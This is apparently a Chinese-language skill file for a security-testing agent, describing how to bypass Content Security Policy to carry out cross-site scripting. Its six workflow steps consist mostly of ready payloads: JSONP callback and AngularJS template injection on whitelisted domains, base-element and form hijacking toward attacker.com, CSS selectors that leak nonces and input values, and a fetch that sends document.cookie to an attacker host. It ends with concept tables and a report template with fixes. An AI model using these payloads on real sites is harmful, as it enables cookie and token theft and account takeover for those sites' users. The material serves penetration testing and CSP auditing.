| name | performing-content-security-policy-bypass |
| description | 通过利用错误配置、JSONP 端点、不安全指令和策略注入技术,分析并绕过内容安全策略(CSP)实现,以实现跨站脚本攻击。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["csp-bypass","content-security-policy","xss","script-injection","nonce-bypass","jsonp","policy-misconfiguration"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行内容安全策略绕过(Performing Content Security Policy Bypass)
适用场景
- 发现 XSS 漏洞但执行被内容安全策略(CSP)阻止时
- 在 Web 应用程序安全评估期间评估 CSP 有效性时
- 测试 CSP 对已知绕过技术的健壮性时
- 在 CSP 阻止直接 XSS 利用的漏洞赏金猎人场景中
- 审计 CSP 头配置中的安全弱点时
前置条件
- Burp Suite,用于拦截响应和分析 CSP 头
- CSP Evaluator(Google),用于自动化策略分析
- 了解 CSP 指令(script-src、default-src、style-src 等)
- 掌握 CSP 绕过技术知识(JSONP、base-uri、object-src)
- 浏览器开发者工具,用于监控 CSP 违规
- 收集白名单域的 JSONP 端点
工作流程
步骤 1 — 分析 CSP 策略
curl -sI http://target.com | grep -i "content-security-policy"
curl -s http://target.com | grep -i "content-security-policy"
curl -sI http://target.com | grep -i "content-security-policy-report-only"
步骤 2 — 利用 unsafe-inline 和 unsafe-eval
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>
步骤 3 — 利用白名单域的 JSONP 端点
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>
步骤 4 — 利用 base-uri 和表单操作绕过
<base href="https://attacker.com/">
<form action="https://attacker.com/steal" method="POST">
<input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">
步骤 5 — 利用 Nonce 和哈希绕过
<style>
script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
<form id="csp"><input name="nonce" value="attacker-controlled"></form>
步骤 6 — 在无 script-src 的情况下利用数据外泄
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>
<script nonce="valid">
fetch('https://attacker.com/steal?data=' + document.cookie);
</script>
<link rel="dns-prefetch" href="//data.attacker.com">
核心概念
| 概念 | 定义 |
|---|
| unsafe-inline | 允许内联脚本执行的 CSP 指令,使 XSS 保护失效 |
| 基于 Nonce 的 CSP | 使用随机 nonce 允许特定脚本同时阻止注入脚本 |
| JSONP 绕过(JSONP Bypass) | 利用白名单域上的 JSONP 端点执行攻击者回调 |
| 策略注入(Policy Injection) | 通过头部中反射的用户输入注入 CSP 指令 |
| base-uri 劫持(base-uri Hijacking) | 通过注入 base 元素重定向相对脚本加载 |
| 脚本小工具(Script Gadgets) | 可被滥用于绕过 CSP 的合法库功能 |
| CSP Report-Only | 仅记录违规但不阻止的非强制 CSP 模式 |
工具与系统
| 工具 | 用途 |
|---|
| CSP Evaluator | Google 分析 CSP 策略弱点的工具 |
| Burp Suite | 用于 CSP 头分析和绕过测试的 HTTP 代理 |
| CSP Scanner | 用于识别 CSP 绕过机会的浏览器扩展 |
| csp-bypass | CSP 绕过技术和载荷的精选列表 |
| RetireJS | 识别白名单 CDN 上的易受攻击 JavaScript 库 |
| DOM Invader | 用于通过 DOM 操作测试 CSP 绕过的 Burp 工具 |
常见场景
- JSONP 回调 XSS — 利用白名单 CDN 域上的 JSONP 端点执行包含 XSS 载荷的 JavaScript 回调
- AngularJS 沙箱逃逸 — 从白名单 CDN 加载 AngularJS 并使用模板注入绕过 CSP 脚本限制
- Nonce 泄漏 — 通过 CSS 注入或 DOM 破坏提取 CSP nonce 值以注入具有有效 nonce 的脚本
- Base URI 劫持 — 注入 base 元素将所有相对脚本加载重定向到攻击者控制的服务器
- Report-Only 利用 — 识别处于 report-only 模式的 CSP,其中违规被记录但不被阻止,从而启用直接 XSS
输出格式
## CSP 绕过评估报告
- **目标**:http://target.com
- **CSP 模式**:已强制执行
- **策略**:script-src 'self' https://cdn.jsdelivr.net; default-src 'self'
### CSP 分析
| 指令 | 值 | 风险 |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | 可能通过 JSONP/库绕过 |
| default-src | 'self' | 中等 |
| base-uri | 未设置 | 可能被 base-uri 劫持 |
| object-src | 未设置(回退到 default-src) | 低 |
### 发现的绕过技术
| # | 技术 | 载荷 | 影响 |
|---|-----------|---------|--------|
| 1 | 通过 CDN 加载 AngularJS | 加载 angular.min.js + 模板注入 | 完整 XSS |
| 2 | 缺少 base-uri | <base href="https://evil.com/"> | 脚本劫持 |
### 修复建议
- 移除白名单 CDN 域;使用基于 nonce 或哈希的 CSP
- 添加 base-uri 'self' 防止 base 元素注入
- 添加 object-src 'none' 阻止基于插件的执行
- 从 unsafe-inline 迁移到严格的基于 nonce 的策略
- 为现代 CSP3 浏览器实施 strict-dynamic